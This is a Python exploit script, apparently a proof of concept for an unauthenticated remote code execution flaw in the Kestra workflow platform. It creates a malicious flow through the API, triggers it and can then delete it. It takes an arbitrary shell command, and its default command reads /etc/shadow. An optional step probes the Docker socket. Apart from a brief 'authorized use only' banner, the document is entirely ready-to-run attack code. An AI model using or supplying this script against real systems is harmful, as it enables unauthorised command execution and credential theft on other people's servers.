#!/usr/bin/env python3 """ Kestra Unauthenticated RCE Exploit (CVE-2026-53576) Security research tool - For authorized testing only! """ import requests import sys import json import time import argparse from urllib.parse import urlparse class KestraExploit: def __init__(self, target, port=8080, protocol='http'): self.base_url = f"{protocol}://{target}:{port}" self.flow_id = "configs" self.namespace = "configs" self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def create_malicious_flow(self, command=None): """Create the malicious flow with shell command""" if command is None: command = "id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt" flow_yaml = f"""id: {self.flow_id} namespace: {self.namespace} tasks: - id: pwn type: io.kestra.plugin.scripts.shell.Commands taskRunner: type: io.kestra.plugin.core.runner.Process commands: - {command}""" url = f"{self.base_url}/api/v1/main/flows/{self.flow_id}" print(f"[*] Creating malicious flow at {url}") print(f"[*] Command: {command}") try: response = self.session.post( url, data=flow_yaml, headers={'Content-Type': 'application/x-yaml'} ) if response.status_code == 200: print(f"[+] Flow created successfully! (Status: {response.status_code})") try: data = response.json() print(f"[+] Flow revision: {data.get('revision', 'N/A')}") except: print(f"[+] Response: {response.text[:200]}...") return True else: print(f"[-] Failed to create flow. Status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") return False except requests.exceptions.ConnectionError: print(f"[-] Connection error to {self.base_url}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def trigger_execution(self): """Trigger the execution of the malicious flow""" url = f"{self.base_url}/api/v1/main/executions/{self.namespace}/{self.flow_id}" print(f"[*] Triggering execution at {url}") # Try both approaches - multipart/form-data and JSON headers_multipart = {'Content-Type': 'multipart/form-data; boundary=x'} data_multipart = f"""--x Content-Disposition: form-data; name="flowId" {self.flow_id} --x Content-Disposition: form-data; name="namespace" {self.namespace} --x--""" try: # Try multipart first response = self.session.post(url, data=data_multipart, headers=headers_multipart) if response.status_code == 200: try: data = response.json() execution_id = data.get('id', 'N/A') status = data.get('state', {}).get('current', 'N/A') print(f"[+] Execution triggered successfully!") print(f"[+] Execution ID: {execution_id}") print(f"[+] Status: {status}") return execution_id except: print(f"[+] Execution triggered (non-JSON response)") return None else: print(f"[-] Failed to trigger execution. Status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") return None except Exception as e: print(f"[-] Error triggering execution: {str(e)}") return None def check_execution_status(self, execution_id): """Check the status of an execution""" url = f"{self.base_url}/api/v1/main/executions/{execution_id}" try: response = self.session.get(url) if response.status_code == 200: data = response.json() status = data.get('state', {}).get('current', 'UNKNOWN') print(f"[+] Execution status: {status}") return status return None except: return None def cleanup(self): """Delete the malicious flow""" url = f"{self.base_url}/api/v1/main/flows/{self.namespace}/{self.flow_id}" print(f"[*] Cleaning up: Deleting flow at {url}") try: response = self.session.delete(url) if response.status_code == 200 or response.status_code == 204: print("[+] Flow deleted successfully") return True else: print(f"[-] Failed to delete flow. Status: {response.status_code}") return False except Exception as e: print(f"[-] Error deleting flow: {str(e)}") return False def verify_docker_socket(self): """Check if Docker socket is accessible""" # Create a flow to check Docker socket docker_check_cmd = "curl --unix-socket /var/run/docker.sock http://localhost/version" flow_yaml = f"""id: docker_check namespace: {self.namespace} tasks: - id: docker_check type: io.kestra.plugin.scripts.shell.Commands taskRunner: type: io.kestra.plugin.core.runner.Process commands: - {docker_check_cmd}""" url = f"{self.base_url}/api/v1/main/flows/docker_check" try: response = self.session.post(url, data=flow_yaml, headers={'Content-Type': 'application/x-yaml'}) if response.status_code == 200: print("[+] Docker check flow created") # Trigger it exec_url = f"{self.base_url}/api/v1/main/executions/{self.namespace}/docker_check" exec_response = self.session.post(exec_url, data=f"--x\r\nContent-Disposition: form-data; name=\"flowId\"\r\n\r\ndocker_check\r\n--x\r\nContent-Disposition: form-data; name=\"namespace\"\r\n\r\n{self.namespace}\r\n--x--", headers={'Content-Type': 'multipart/form-data; boundary=x'}) if exec_response.status_code == 200: print("[+] Docker check triggered - check UI for results") return True return False except: return False def main(): parser = argparse.ArgumentParser(description='Kestra Unauthenticated RCE Exploit') parser.add_argument('target', help='Target IP address or hostname') parser.add_argument('-p', '--port', default=8080, type=int, help='Port (default: 8080)') parser.add_argument('--https', action='store_true', help='Use HTTPS instead of HTTP') parser.add_argument('-c', '--command', help='Custom command to execute') parser.add_argument('--docker-check', action='store_true', help='Check for Docker socket access') parser.add_argument('--cleanup', action='store_true', help='Cleanup the flow after exploitation') parser.add_argument('--delay', default=2, type=int, help='Delay between requests in seconds') args = parser.parse_args() protocol = 'https' if args.https else 'http' print("=" * 60) print("Kestra Unauthenticated RCE Exploit") print("Security Research Tool - Authorized Use Only!") print("=" * 60) print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Protocol: {protocol}") print("=" * 60) # Initialize exploit exploit = KestraExploit(args.target, args.port, protocol) # Step 1: Create malicious flow print("\n[Step 1] Creating malicious flow...") if not exploit.create_malicious_flow(args.command): print("[!] Failed to create flow. Exiting.") sys.exit(1) time.sleep(args.delay) # Step 2: Trigger execution print("\n[Step 2] Triggering execution...") execution_id = exploit.trigger_execution() if execution_id: time.sleep(args.delay) # Step 3: Check status print("\n[Step 3] Checking execution status...") status = exploit.check_execution_status(execution_id) print(f"[*] Final status: {status}") print("\n[+] Exploitation complete!") print("[*] To verify the attack succeeded, check the target system for:") print(" - /tmp/proof.txt containing command output") print(" - Kestra UI execution logs") print(f" - Web UI: {protocol}://{args.target}:{args.port}/ui/") # Optional: Docker check if args.docker_check: print("\n[Optional] Checking for Docker socket access...") exploit.verify_docker_socket() # Step 4: Cleanup if args.cleanup: print("\n[Step 4] Cleaning up...") exploit.cleanup() print("\n" + "=" * 60) print("Done!") if __name__ == "__main__": main()